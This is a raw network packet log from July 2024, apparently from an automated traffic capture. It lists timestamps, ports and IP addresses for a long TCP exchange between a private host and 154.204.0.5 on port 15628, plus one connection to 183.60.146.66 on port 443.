Jul 20, 2024 16:15:28.878067970 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.878113985 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.883452892 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.883493900 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.888286114 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.888339043 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.894093990 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.894151926 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.899017096 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.899076939 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.904071093 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.904146910 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.909025908 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.909091949 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.914561987 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.914616108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.919398069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.919456005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.924631119 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.924685955 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.929615974 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.929677010 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.934638023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.934710979 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.939934969 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.939994097 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.944931030 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.944982052 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.949949026 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.951443911 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.956362009 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.956418037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.961419106 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.961462975 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.966409922 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.970227957 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.975120068 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.975171089 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.980197906 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.980240107 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.985163927 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.985208035 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.990032911 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.990093946 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:28.995990992 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:28.996032000 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.026484013 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.026565075 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.038780928 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.040322065 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.046017885 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.046289921 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.051350117 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.051593065 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.056428909 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.061645985 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.067183971 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.069561005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.074537039 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.080571890 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.085905075 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.087591887 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.093221903 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.093370914 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.098973989 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.101547003 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.108019114 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.108191967 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.113987923 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.114099979 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.119067907 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.119146109 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.124249935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.124422073 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.129585981 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.129689932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.134563923 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.145469904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.150696993 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.235383034 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.248677015 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.248795986 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.254064083 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.254374981 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.259556055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.259715080 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.265607119 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.265686035 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.270982981 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.271110058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.276846886 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.276987076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.282218933 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.282394886 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.287255049 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.313467979 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.320240021 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.320343971 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.328135014 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.328247070 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.333197117 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.333313942 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.338901997 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.339109898 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.344002962 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.344131947 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.349340916 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.386251926 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.391254902 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.391336918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.397242069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.397339106 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.402257919 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.402334929 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.407198906 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.407282114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.412657976 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.412739992 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.417859077 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.417992115 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.422945023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.423022032 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.427952051 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.428036928 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.432965040 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.433031082 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.437998056 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.438082933 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.442962885 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.443105936 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.448542118 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.448628902 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.453803062 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.453969002 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.459345102 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.459479094 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.465353966 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.465467930 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.472405910 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.477469921 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.482392073 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.555237055 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.560142040 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.560239077 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.565116882 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.565203905 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.570137024 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.570235968 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.575602055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.575655937 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.580627918 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.581504107 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.587100029 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.588644981 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.593566895 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.593863010 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.611437082 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.611546993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.616709948 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.668353081 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.673235893 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.673361063 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.678284883 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.678389072 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.683496952 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.683624983 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.689569950 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.690256119 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.695175886 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.720545053 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.726007938 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.726295948 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.731201887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.739546061 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.763079882 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.773505926 CEST	49743	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:15:29.773535967 CEST	443	49743	183.60.146.66	192.168.2.5
Jul 20, 2024 16:15:29.840805054 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.847174883 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.848469973 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.853519917 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.854994059 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.861608028 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.861957073 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.870054960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.870326042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.876311064 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.876508951 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.881418943 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.881572008 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.886871099 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.886989117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.891973019 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:29.892046928 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:29.897530079 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.178344965 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.183325052 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.183410883 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.188268900 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.188353062 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.193247080 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.193393946 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.198343992 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.198421955 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.209784031 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.212536097 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.218105078 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.314730883 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.319678068 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.319749117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.324589968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.324645042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.329632998 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.329693079 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.334572077 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.334633112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.339382887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.339468956 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.344537973 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.344607115 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.349457979 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.349526882 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.354326963 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.354420900 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.359150887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.359226942 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.364167929 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.364238024 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.369102001 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.369158983 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.374075890 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.374340057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.379245043 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.379317999 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.384253979 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.384335995 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.389183044 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.389357090 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.394437075 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.394514084 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.399321079 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.399393082 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.404835939 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.404906034 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.409754038 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.409836054 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.414813995 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.414921045 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.419878006 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.419969082 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.425637007 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.425725937 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.430707932 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.430778980 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.435709953 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.435813904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.440825939 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.440927029 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.446010113 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.446122885 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.451339006 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.451417923 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.456530094 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.456604004 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.461487055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.461611032 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.466546059 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.466603994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.471470118 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.471545935 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.476475954 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.476541042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.482669115 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.482788086 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.487766981 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.487999916 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.492927074 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.493007898 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.498039007 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.498100996 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.504743099 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.504894972 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.509741068 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.509818077 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.515183926 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.515248060 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.522011042 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.522070885 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.527240992 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.527326107 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.532143116 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.532205105 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.537288904 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.537345886 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.542339087 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.542402029 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.547554016 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.547610998 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.552514076 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.552571058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.557665110 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.557729006 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.562733889 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.562794924 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.567814112 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.567877054 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.573164940 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.573266983 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.578198910 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.578273058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.583188057 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.583276033 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.588258982 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.588325977 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.593269110 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.593350887 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.609879017 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.609958887 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.614829063 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.614886999 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.621908903 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.622030973 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.628468990 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.628552914 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.633404970 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.633497000 CEST	49709	15628	192.168.2.5	154.204.0.5
